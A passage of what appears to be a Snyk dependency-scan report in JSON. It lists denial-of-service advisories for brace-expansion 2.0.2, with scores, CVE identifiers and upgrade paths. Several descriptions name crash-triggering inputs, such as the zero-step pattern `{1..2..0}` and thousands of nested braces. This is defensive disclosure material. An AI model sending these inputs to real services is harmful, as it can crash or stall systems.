"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
